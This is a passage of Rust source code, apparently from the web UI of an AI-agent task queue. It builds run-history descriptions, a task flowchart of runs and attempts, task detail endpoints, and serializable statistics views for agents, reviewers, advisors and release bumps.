6319            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6320            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6321            RunStatus::VerifiedNoop => {
6322                "Verified no-op: the candidates found nothing to change.".to_owned()
6323            }
6324            other if other.done() => format!("Ended {}.", other.display_label()),
6325            other => format!("In progress ({}).", other.display_label()),
6326        }
6327    };
6328    let view = pass.map(|p| PassView::of(p, settled));
6329    let recorded_end = view
6330        .as_ref()
6331        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6332    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6333        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6334        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6335        None => "whether its attempt was handed back was not recorded",
6336    };
6337    let pass_note = if passes_of_run > 1 {
6338        format!(
6339            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6340        )
6341    } else {
6342        String::new()
6343    };
6344    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6345        // The run recorded this pass's end when it happened.
6346        let cause = match v.end {
6347            "parked" => format!("It was stopped on purpose: {}.", v.label),
6348            _ => format!("It {}.", v.label),
6349        };
6350        format!(
6351            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6352            capitalise(cost_words)
6353        )
6354    } else if let Some(k) = resumed_later {
6355        // A run is only picked up again while it is unfinished, so an earlier
6356        // pass of a repeated id stopped short; the record keeps only the run's
6357        // latest status, which is left to the pass that carried it on.
6358        // Only the latest state is recorded: `parked` is cleared on resume
6359        // and `quota` accumulates across passes, so neither says why *this*
6360        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6361        let cause = if s.quota.is_empty() {
6362            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6363        } else {
6364            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6365        };
6366        format!(
6367            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6368        )
6369    } else if s.parked {
6370        match recorded_end.and_then(|v| v.cause.as_ref()) {
6371            Some(cause) => format!(
6372                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6373                cause.label(),
6374                cost_words
6375            ),
6376            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6377                .to_owned(),
6378        }
6379    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6380        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6381    } else if !status.done()
6382        || matches!(
6383            status,
6384            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6385        )
6386    {
6387        String::new()
6388    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6389        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6390    {
6391        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6392            .to_owned()
6393    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6394        " It left a pull request open, so the task was held for a person rather than retried."
6395            .to_owned()
6396    } else if matches!(status, RunStatus::VerifiedNoop) {
6397        " Held for a person to check the claim.".to_owned()
6398    } else if last {
6399        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6400    } else {
6401        " It spent an attempt, and the task moved on to the next run.".to_owned()
6402    };
6403    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6404    let mut attempt = exit.cost();
6405    let mut exit_label = None;
6406    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6407        let spent = match v.cost {
6408            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6409            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6410            None if resumed_later.is_some() => ", refund not recorded",
6411            None => ", attempt refunded",
6412        };
6413        attempt = match v.cost {
6414            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6415            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6416            None if resumed_later.is_some() => AttemptCost::Unknown,
6417            None => attempt,
6418        };
6419        if v.end == "parked" {
6420            exit = RunExit::Parked;
6421            exit_label = Some(match v.cause.as_ref() {
6422                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6423                    format!("parked for {}{spent}", c.label())
6424                }
6425                Some(c) => format!("parked ({}){spent}", c.label()),
6426                None => format!("parked{spent}"),
6427            });
6428        } else {
6429            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6430        }
6431    }
6432    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6433    TaskRunView {
6434        activity: None,
6435        n,
6436        id: id.to_owned(),
6437        short,
6438        kind,
6439        status: Some(status.as_str()),
6440        readable: true,
6441        provisional,
6442        description,
6443        outcome: format!("{head}{why}"),
6444        created_at: Some(s.created_at),
6445        pr: s.pr.as_ref().map(|p| p.url.clone()),
6446        exit,
6447        attempt,
6448        exit_label,
6449        later_pass: resumed_later,
6450        pass_n,
6451        passes_of_run,
6452        pass: view,
6453        branch: branch.map(str::to_owned),
6454        badge: None,
6455    }
6456}
6457
6458fn capitalise(s: &str) -> String {
6459    let mut c = s.chars();
6460    c.next().map_or_else(String::new, |f| {
6461        f.to_uppercase().collect::<String>() + c.as_str()
6462    })
6463}
6464
6465/// One box of the task's flowchart.
6466#[derive(Debug, Serialize, PartialEq)]
6467struct FlowNode {
6468    /// Unique by position: a resumed run id appears once per pass.
6469    key: String,
6470    /// `chat`, `followup`, `start`, `run` or `end`.
6471    kind: &'static str,
6472    label: String,
6473    /// Run status (or the task's, for `end`); `None` when it is not a fact
6474    /// about this box (unreadable, or a pass the run later resumed from).
6475    status: Option<&'static str>,
6476    /// Whose status `status` is, so the client picks the right colour table:
6477    /// `task` (the `followup` parent and `end`) or `run`.
6478    status_of: &'static str,
6479    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6480    note: Option<&'static str>,
6481    run_kind: Option<&'static str>,
6482    detail: Option<String>,
6483    /// A readable run with a real verdict; a stall never is.
6484    decided: bool,
6485    readable: bool,
6486    href: Option<String>,
6487    /// Overrides `status` as the badge word (`stale` / `superseded`).
6488    badge: Option<String>,
6489    /// Start of this entry, never the run's latest update or pass settlement.
6490    started_at: Option<Timestamp>,
6491    /// Context links (chat / follow-up) do not represent execution entries.
6492    time_expected: bool,
6493}
6494
6495#[derive(Debug, Serialize, PartialEq)]
6496struct FlowEdge {
6497    from: String,
6498    to: String,
6499    label: String,
6500    attempt: AttemptCost,
6501}
6502
6503#[derive(Debug, Serialize, PartialEq)]
6504struct FlowView {
6505    nodes: Vec<FlowNode>,
6506    edges: Vec<FlowEdge>,
6507    /// Attempts the task has counted since it was last released.
6508    attempts: usize,
6509    max_attempts: usize,
6510    /// Entries in the run list (passes), and how many distinct runs they are.
6511    /// Neither is the number of attempts consumed.
6512    passes: usize,
6513    runs: usize,
6514}
6515
6516/// Turn a task and its described runs into the flowchart's boxes and arrows.
6517/// Pure: the page only draws what this returns.
6518///
6519/// A follow-up opens with its parent (or the merged run) unless the task's
6520/// *source* is itself a chat, in which case the chat stays first and the
6521/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6522/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6523/// two normally do not coincide and the nearer origin wins.
6524fn task_flow(
6525    task: &Task,
6526    history: &[TaskRunView],
6527    max_attempts: usize,
6528    origin: Option<&FollowUpOrigin>,
6529) -> FlowView {
6530    let max_attempts = task.effective_attempt_limit(max_attempts);
6531    let node = |key: &str, kind, label: String| FlowNode {
6532        key: key.to_owned(),
6533        kind,
6534        label,
6535        status: None,
6536        status_of: "run",
6537        note: None,
6538        run_kind: None,
6539        detail: None,
6540        decided: false,
6541        readable: true,
6542        href: None,
6543        badge: None,
6544        started_at: None,
6545        time_expected: matches!(kind, "start" | "run" | "end"),
6546    };
6547    let mut nodes = Vec::new();
6548    let mut edges: Vec<FlowEdge> = Vec::new();
6549    // A task queued from a chat opens the flow with that conversation.
6550    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6551        let mut n = node(
6552            "chat",
6553            "chat",
6554            format!("Chat {}", crate::queue::short(&link.id)),
6555        );
6556        n.href = Some(link.href);
6557        nodes.push(n);
6558        edges.push(FlowEdge {
6559            from: "chat".to_owned(),
6560            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6561            label: "queued from chat".to_owned(),
6562            attempt: AttemptCost::None,
6563        });
6564    }
6565    if let Some(o) = origin {
6566        let mut n = match &o.parent {
6567            Some(p) => {
6568                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6569                n.status = Some(p.status);
6570                n.status_of = "task";
6571                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6572                n.href = Some(p.href.clone());
6573                n
6574            }
6575            None => {
6576                let mut n = node(
6577                    "origin",
6578                    "followup",
6579                    format!("Follow-up of run {}", o.run.short),
6580                );
6581                n.detail = Some("merged run".to_owned());
6582                n.status = o.run.status;
6583                n.href = o.run.href.clone();
6584                if o.run.href.is_none() {
6585                    n.readable = false;
6586                    n.note = Some("unreadable");
6587                }
6588                n
6589            }
6590        };
6591        n.decided = true;
6592        let from = n.key.clone();
6593        nodes.push(n);
6594        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6595        let more = o.findings.len().saturating_sub(shown.len());
6596        let label = match (shown.is_empty(), more) {
6597            (true, _) => "open findings".to_owned(),
6598            (false, 0) => format!("open findings {}", shown.join(", ")),
6599            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6600        };
6601        edges.push(FlowEdge {
6602            from,
6603            to: "start".to_owned(),
6604            label,
6605            attempt: AttemptCost::None,
6606        });
6607    }
6608    let mut start = node("start", "start", "Task queued".to_owned());
6609    start.started_at = Some(task.created_at);
6610    nodes.push(start);
6611    let mut prev = "start".to_owned();
6612    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6613    for (i, h) in history.iter().enumerate() {
6614        let key = format!("run-{}", h.n);
6615        let mut n = node(&key, "run", format!("Run {}", h.short));
6616        // Creation marks only the first pass of legacy runs. A resumed pass
6617        // without a record must not inherit the original run's start time.
6618        n.started_at = h
6619            .readable
6620            .then(|| {
6621                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6622                    h.created_at
6623                } else {
6624                    None
6625                })
6626            })
6627            .flatten();
6628        n.run_kind = Some(h.kind);
6629        n.readable = h.readable;
6630        n.href = Some(format!("#/runs/{}", h.id));
6631        n.decided = h.readable && !h.provisional;
6632        n.detail = h
6633            .branch
6634            .as_ref()
6635            .map(|b| format!("review-only run of branch {b}"));
6636        match h.exit {
6637            RunExit::Unreadable => n.note = Some("unreadable"),
6638            RunExit::Interrupted => n.note = Some("interrupted"),
6639            // An earlier pass the run recorded as parked: the status shown
6640            // would be the run's current one, not this pass's.
6641            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6642            _ => {
6643                n.status = h.status;
6644                n.badge = h.badge.clone();
6645                if h.provisional {
6646                    n.note = Some("no verdict");
6647                }
6648            }
6649        }
6650        let into = match h.kind {
6651            "review" => Some(format!(
6652                "review-only run of branch {}",
6653                h.branch.as_deref().unwrap_or("?")
6654            )),
6655            "resume" => Some("resume the same run".to_owned()),
6656            _ if i > 0 => Some("retry".to_owned()),
6657            _ => None,
6658        };
6659        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6660        let label = match (prev_exit, into) {
6661            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6662            (Some((_, l, _)), None) => l,
6663            (None, Some(i)) => i,
6664            (None, None) => "claimed".to_owned(),
6665        };
6666        edges.push(FlowEdge {
6667            from: prev.clone(),
6668            to: key.clone(),
6669            label,
6670            attempt,
6671        });
6672        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6673        prev = key;
6674        nodes.push(n);
6675    }
6676    let mut end = node("end", "end", task.status.as_str().to_owned());
6677    end.status = Some(task.status.as_str());
6678    end.status_of = "task";
6679    // Other task states do not persist their transition start. In particular,
6680    // blocked_at can change while the task remains blocked.
6681    if task.status == TaskStatus::Held {
6682        end.started_at = task.held_at;
6683    }
6684    nodes.push(end);
6685    let (label, attempt) = match prev_exit {
6686        None => (
6687            format!("no run yet \u{2192} {}", task.status.as_str()),
6688            AttemptCost::None,
6689        ),
6690        Some((e, l, cost)) if e.explains(task.status) => {
6691            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6692        }
6693        Some((_, _, cost)) => (
6694            format!("closed by hand: task is {}", task.status.as_str()),
6695            cost,
6696        ),
6697    };
6698    edges.push(FlowEdge {
6699        from: prev,
6700        to: "end".to_owned(),
6701        label,
6702        attempt,
6703    });
6704    FlowView {
6705        nodes,
6706        edges,
6707        attempts: task.attempts,
6708        max_attempts,
6709        passes: history.len(),
6710        runs: distinct_runs(&task.runs),
6711    }
6712}
6713
6714/// How many different run ids a task's run list names.
6715fn distinct_runs(runs: &[String]) -> usize {
6716    let mut seen: Vec<&str> = Vec::new();
6717    for r in runs {
6718        if !seen.contains(&r.as_str()) {
6719            seen.push(r);
6720        }
6721    }
6722    seen.len()
6723}
6724
6725/// Describe recorded task passes, retaining unrecorded legacy list entries.
6726fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6727    let mut slots = Vec::new();
6728    let mut seen = Vec::new();
6729    for run_id in &task.runs {
6730        if seen.contains(&run_id) {
6731            continue;
6732        }
6733        seen.push(run_id);
6734        let state = read(run_id);
6735        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6736            s.passes
6737                .iter()
6738                .filter(|p| {
6739                    p.task_entry
6740                        || task
6741                            .passes
6742                            .iter()
6743                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6744                })
6745                .cloned()
6746                .collect()
6747        });
6748        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6749        let total = legacy_count.max(mine.len());
6750        let offset = total - mine.len();
6751        for k in 0..total {
6752            // Legacy repeated entries retain their original positions. When
6753            // ids are unique, recorded pass times recover the resume order.
6754            let position = task
6755                .runs
6756                .iter()
6757                .enumerate()
6758                .filter(|(_, r)| *r == run_id)
6759                .nth(k.min(legacy_count - 1))
6760                .unwrap()
6761                .0;
6762            slots.push((
6763                run_id,
6764                state.clone(),
6765                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6766                position,
6767            ));
6768        }
6769    }
6770    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6771        slots.sort_by_key(|(_, state, pass, _)| {
6772            pass.as_ref()
6773                .map(|p| p.started_at)
6774                .or_else(|| state.as_ref().map(|s| s.created_at))
6775                .map_or((true, task.created_at), |at| (false, at))
6776        });
6777    } else {
6778        slots.sort_by_key(|(_, _, _, position)| *position);
6779    }
6780    let mut history = Vec::with_capacity(slots.len());
6781    let mut seen: Vec<&str> = Vec::new();
6782    let mut prior: Option<(&str, RunStatus)> = None;
6783    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6784        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6785        let resumed = k > 0;
6786        seen.push(run_id);
6787        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6788        let pass = pass.as_ref();
6789        let settled = pass.and_then(|p| {
6790            task.passes
6791                .iter()
6792                .find(|t| t.run == **run_id && t.pass_index == p.index)
6793        });
6794        history.push(task_run_view(
6795            run_id,
6796            state.as_ref(),
6797            RunSlot {
6798                n: i + 1,
6799                resumed,
6800                resumed_later: slots[i + 1..]
6801                    .iter()
6802                    .position(|(id, _, _, _)| id == run_id)
6803                    .map(|off| i + off + 2),
6804                prior,
6805                last: i + 1 == slots.len(),
6806                pass,
6807                settled,
6808                pass_n: k + 1,
6809                passes_of_run: total,
6810            },
6811            task,
6812        ));
6813        if let Some(s) = &state {
6814            prior = Some((run::short_of(run_id), s.status));
6815        }
6816    }
6817    history
6818}
6819
6820/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6821/// An earlier pass of a resumed run keeps no badge (it has no status box).
6822fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6823    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6824        return;
6825    }
6826    let (_, claimed, _) = run_row_inputs(ui);
6827    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6828    for h in history
6829        .iter_mut()
6830        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6831    {
6832        let Ok(state) = read_run(&ui.runs, &h.id) else {
6833            continue;
6834        };
6835        if state.status.done() {
6836            continue;
6837        }
6838        let live = state.liveness_with(
6839            claimed.contains(&h.id),
6840            |p| probe.borrow_mut().status(p),
6841            |p| probe.borrow_mut().started_at(p),
6842        );
6843        let waiting = !ui.questions.open_for(&h.id).is_empty();
6844        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6845        let display = run_display_status(&state, waiting, live);
6846        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6847        if matches!(word.as_str(), "stale" | "superseded")
6848            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6849        {
6850            h.badge = Some(word);
6851        }
6852    }
6853}
6854
6855async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6856    blocking(move || {
6857        let id = resolve_task(&ui.queue, &id)?;
6858        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6859    })
6860    .await
6861}
6862
6863async fn task_detail(
6864    State(ui): State<Arc<Ui>>,
6865    Path(id): Path<String>,
6866) -> ApiResult<Json<TaskDetailView>> {
6867    blocking(move || {
6868        let id = resolve_task(&ui.queue, &id)?;
6869        let task = ui
6870            .queue
6871            .get(&id)
6872            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6873        let inv = if task.status == TaskStatus::Blocked {
6874            Some(crate::blockers::Inventory::load_for(
6875                &ui.queue,
6876                &ui.questions,
6877                &task,
6878            ))
6879        } else {
6880            None
6881        };
6882        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6883        mark_badges(&ui, &task, &mut history);
6884        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6885        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6886        let origin = task.followup.as_ref().map(|fu| {
6887            followup_origin(
6888                fu,
6889                |tid| ui.queue.get(tid).ok(),
6890                |rid| read_run(&ui.runs, rid).ok(),
6891            )
6892        });
6893        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6894        let task_view = match inv.as_ref() {
6895            Some(inv) => TaskView::with_inventory(task, inv),
6896            None => TaskView::from(task),
6897        }
6898        .with_recovery_decisions(&ui.questions);
6899        Ok(Json(TaskDetailView {
6900            max_attempts,
6901            flow,
6902            followup_origin: origin,
6903            passes_total: history.len(),
6904            runs_distinct: distinct_runs(&task_view.task.runs),
6905            history,
6906            runs_unreadable,
6907            attempts_note: ATTEMPTS_NOTE,
6908            task: task_view,
6909        }))
6910    })
6911    .await
6912}
6913
6914/// A rate together with its denominator, so the client can tell "computed as
6915/// 0%" apart from "no data to compute it from" — both would otherwise
6916/// serialize as `0.0`. `None` means the denominator was zero.
6917#[derive(Debug, Serialize)]
6918struct RateView {
6919    pct: f64,
6920    denominator: usize,
6921}
6922
6923impl RateView {
6924    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6925        (denominator > 0).then(|| Self {
6926            pct: 100.0 * numerator as f64 / denominator as f64,
6927            denominator,
6928        })
6929    }
6930}
6931
6932/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6933/// rates, each paired with its own denominator via [`RateView`] rather than
6934/// exposing `Stats`' own percentage methods directly — see this module's
6935/// doc for why `Stats` itself is never serialized.
6936#[derive(Debug, Serialize)]
6937struct StatsTotalsView {
6938    runs: usize,
6939    merged: usize,
6940    ready: usize,
6941    blocked: usize,
6942    failed: usize,
6943    stalled: usize,
6944    verified_noop: usize,
6945    superseded: usize,
6946    in_progress: usize,
6947    completion_rate: Option<RateView>,
6948    tallied: usize,
6949    split: usize,
6950    split_rate: Option<RateView>,
6951    deliberated: usize,
6952    minds_changed: usize,
6953    converged: usize,
6954    review_rounds: usize,
6955}
6956
6957impl From<&stats::Totals> for StatsTotalsView {
6958    fn from(t: &stats::Totals) -> Self {
6959        Self {
6960            runs: t.runs,
6961            merged: t.merged,
6962            ready: t.ready,
6963            blocked: t.blocked,
6964            failed: t.failed,
6965            stalled: t.stalled,
6966            verified_noop: t.verified_noop,
6967            superseded: t.superseded,
6968            in_progress: t.in_progress,
6969            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6970            tallied: t.tallied,
6971            split: t.split,
6972            split_rate: RateView::of(t.split, t.tallied),
6973            deliberated: t.deliberated,
6974            minds_changed: t.minds_changed,
6975            converged: t.converged,
6976            review_rounds: t.review_rounds,
6977        }
6978    }
6979}
6980
6981/// [`crate::stats::AgentStats`] for the wire.
6982#[derive(Debug, Serialize)]
6983struct AgentStatsView {
6984    agent: String,
6985    entered: usize,
6986    wins: usize,
6987    empty: usize,
6988    win_rate: Option<RateView>,
6989    competitive_entered: usize,
6990    competitive_wins: usize,
6991    competitive_win_rate: Option<RateView>,
6992    solo_entered: usize,
6993    solo_adopted: usize,
6994    solo_adoption_rate: Option<RateView>,
6995}
6996
6997impl From<&stats::AgentStats> for AgentStatsView {
6998    fn from(a: &stats::AgentStats) -> Self {
6999        Self {
7000            agent: a.agent.clone(),
7001            entered: a.entered,
7002            wins: a.wins,
7003            empty: a.empty,
7004            win_rate: RateView::of(a.wins, a.entered),
7005            competitive_entered: a.competitive_entered,
7006            competitive_wins: a.competitive_wins,
7007            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7008            solo_entered: a.solo_entered,
7009            solo_adopted: a.solo_adopted,
7010            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7011        }
7012    }
7013}
7014
7015/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7016/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7017/// value, `None` when `rounds` is zero.
7018#[derive(Debug, Serialize)]
7019struct ReviewerStatsView {
7020    agent: String,
7021    rounds: usize,
7022    seated: usize,
7023    submitted: usize,
7024    adopted: usize,
7025    unique: usize,
7026    timeouts: usize,
7027    adopted_per_round: Option<f64>,
7028    precision: Option<RateView>,
7029    unique_rate: Option<RateView>,
7030    timeout_rate: Option<RateView>,
7031}
7032
7033impl From<&stats::ReviewerStats> for ReviewerStatsView {
7034    fn from(r: &stats::ReviewerStats) -> Self {
7035        Self {
7036            agent: r.agent.clone(),
7037            rounds: r.rounds,
7038            seated: r.seated,
7039            submitted: r.submitted,
7040            adopted: r.adopted,
7041            unique: r.unique,
7042            timeouts: r.timeouts,
7043            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7044            precision: RateView::of(r.adopted, r.submitted),
7045            unique_rate: RateView::of(r.unique, r.submitted),
7046            timeout_rate: RateView::of(r.timeouts, r.seated),
7047        }
7048    }
7049}
7050
7051/// [`crate::stats::AdvisorStats`] for the wire.
7052///
7053/// `reflection_rate` is approximate by construction — see
7054/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7055/// that caveat is static text in `index.html`, not a field here.
7056#[derive(Debug, Serialize)]
7057struct AdvisorStatsView {
7058    agent: String,
7059    seated: usize,
7060    proposed: usize,
7061    absent: usize,
7062    faint: usize,
7063    strong: usize,
7064    reflection_rate: Option<RateView>,
7065}
7066
7067impl From<&stats::AdvisorStats> for AdvisorStatsView {
7068    fn from(a: &stats::AdvisorStats) -> Self {
7069        Self {
7070            agent: a.agent.clone(),
7071            seated: a.seated,
7072            proposed: a.proposed,
7073            absent: a.absent,
7074            faint: a.faint,
7075            strong: a.strong,
7076            reflection_rate: RateView::of(a.strong, a.proposed),
7077        }
7078    }
7079}
7080
7081/// [`crate::stats::E2eStats`] for the wire.
7082#[derive(Debug, Serialize)]
7083struct E2eStatsView {
7084    rounds: usize,
7085    failures: usize,
7086    sole_detections: usize,
7087    deferred: usize,
7088    sole_rate: Option<RateView>,
7089}
7090
7091impl From<&stats::E2eStats> for E2eStatsView {
7092    fn from(e: &stats::E2eStats) -> Self {
7093        Self {
7094            rounds: e.rounds,
7095            failures: e.failures,
7096            sole_detections: e.sole_detections,
7097            deferred: e.deferred,
7098            sole_rate: RateView::of(e.sole_detections, e.failures),
7099        }
7100    }
7101}
7102
7103/// [`crate::stats::ReleaseBumpStats`] for the wire.
7104///
7105/// `clean` is sent as a raw count, computed the same way
7106/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7107/// needs_attention`) — never derived client-side from `automerge_enabled`,
7108/// which would misclassify a `merged_directly` bump (automerge rejected, but
7109/// magi merged it directly, so no human involvement) as needing attention.
7110#[derive(Debug, Serialize)]
7111struct ReleaseBumpStatsView {
7112    merged: usize,
7113    recorded: usize,
7114    pr_opened: usize,
7115    automerge_enabled: usize,
7116    merged_directly: usize,
7117    needs_attention: usize,
7118    clean: usize,
7119    coverage_rate: Option<RateView>,
7120    automerge_rate: Option<RateView>,
7121    attention_rate: Option<RateView>,
7122}
7123
7124impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7125    fn from(b: &stats::ReleaseBumpStats) -> Self {
7126        Self {
7127            merged: b.merged,
7128            recorded: b.recorded,
7129            pr_opened: b.pr_opened,
7130            automerge_enabled: b.automerge_enabled,
7131            merged_directly: b.merged_directly,
7132            needs_attention: b.needs_attention,
7133            clean: b.clean(),
7134            coverage_rate: RateView::of(b.recorded, b.merged),
7135            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7136            attention_rate: RateView::of(b.needs_attention, b.recorded),
7137        }
7138    }
7139}
7140
7141/// [`crate::queue::TaskCounts`] for the wire.
7142#[derive(Debug, Serialize)]
7143struct TaskCountsView {
7144    queued: usize,
7145    running: usize,
7146    done: usize,
7147    failed: usize,
7148    held: usize,
7149    blocked: usize,
7150    parked: usize,
7151}
7152
7153impl From<crate::queue::TaskCounts> for TaskCountsView {
7154    fn from(c: crate::queue::TaskCounts) -> Self {
7155        Self {
7156            queued: c.queued,
7157            running: c.running,
7158            done: c.done,
7159            failed: c.failed,
7160            held: c.held,
7161            blocked: c.blocked,
7162            parked: c.parked,
7163        }
7164    }
7165}
7166
7167/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7168/// runs recorded — the summary the UI's repository selector is built from.
7169/// Carries no nested `Stats`: picking a repo means re-fetching
7170/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7171/// aggregation rather than duplicating it.
7172#[derive(Debug, Serialize)]
7173struct RepoSummaryView {
7174    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7175    /// against, full path and all (see [`stats_get`]'s own doc for why).
7176    repo: String,
7177    /// Display name only; never used for matching.
7178    name: String,
7179    runs: usize,
7180    completion_rate: Option<RateView>,
7181}
7182
7183impl From<&stats::RepoStats> for RepoSummaryView {
7184    fn from(r: &stats::RepoStats) -> Self {
7185        let t = &r.stats.totals;
7186        Self {
7187            repo: r.repo.to_string_lossy().into_owned(),
7188            name: r.name.clone(),
7189            runs: t.runs,
7190            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7191        }
7192    }
7193}
7194
7195/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7196/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7197/// renders from them) are free to grow without that becoming a wire-contract
7198/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7199/// data" from "computed and it really is zero" the way [`RateView`] does.
7200#[derive(Debug, Serialize)]
7201struct StatsView {
7202    totals: StatsTotalsView,
7203    /// Best win rate first, as [`stats::collect`] already sorts it.
7204    agents: Vec<AgentStatsView>,
7205    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7206    reviewers: Vec<ReviewerStatsView>,
7207    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7208    advisors: Vec<AdvisorStatsView>,
7209    e2e: E2eStatsView,
7210    release_bumps: ReleaseBumpStatsView,
7211    queue: Option<TaskCountsView>,
7212    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7213    /// that field's doc. Asserted to match it in
7214    /// `stats_runs_unreadable_matches_health`.
7215    ///
7216    /// Always the whole-workload count, even when `repo` narrows every other
7217    /// field to one repository - an unreadable `run.json` carries no `repo`
7218    /// a per-repository count could attribute it to, and the queue/health
7219    /// views this mirrors never scope it either. The UI must not present it
7220    /// as if it were scoped to the selected repository.
7221    runs_unreadable: usize,
7222    /// Every repository with runs recorded, most runs first - what the UI's
7223    /// repository selector is built from. Always the full list regardless of
7224    /// `repo`, so switching repositories never needs a second request.
7225    repos: Vec<RepoSummaryView>,
7226    /// Runs per local day over the last 30 days, oldest first, always 30
7227    /// entries. Days are the *server's* local dates (the UI must not convert
7228    /// them again), cut by run creation and classified by current status.
7229    /// Narrowed by `repo` like every other run-derived field.
7230    daily: Vec<DailyStatsView>,
7231    /// The `?repo=` value this response was narrowed to, echoed back so the
7232    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7233    /// all-repositories view.
7234    repo: Option<String>,
7235    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7236    /// current config roster no longer lists them. Empty with `?all=true`, an
7237    /// unreadable config, or when nothing was retired.
7238    retired_hidden: Vec<String>,
7239}
7240
7241/// One day of [`StatsView::daily`].
7242#[derive(Debug, Serialize)]
7243struct DailyStatsView {
7244    /// `YYYY-MM-DD`, server-local.
7245    date: String,
7246    runs: usize,
7247    merged: usize,
7248    ready: usize,
7249    other: usize,
